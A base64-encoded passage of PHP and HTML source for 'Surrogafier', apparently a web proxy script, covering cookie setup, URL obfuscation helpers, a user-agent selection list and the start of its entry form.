lciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUk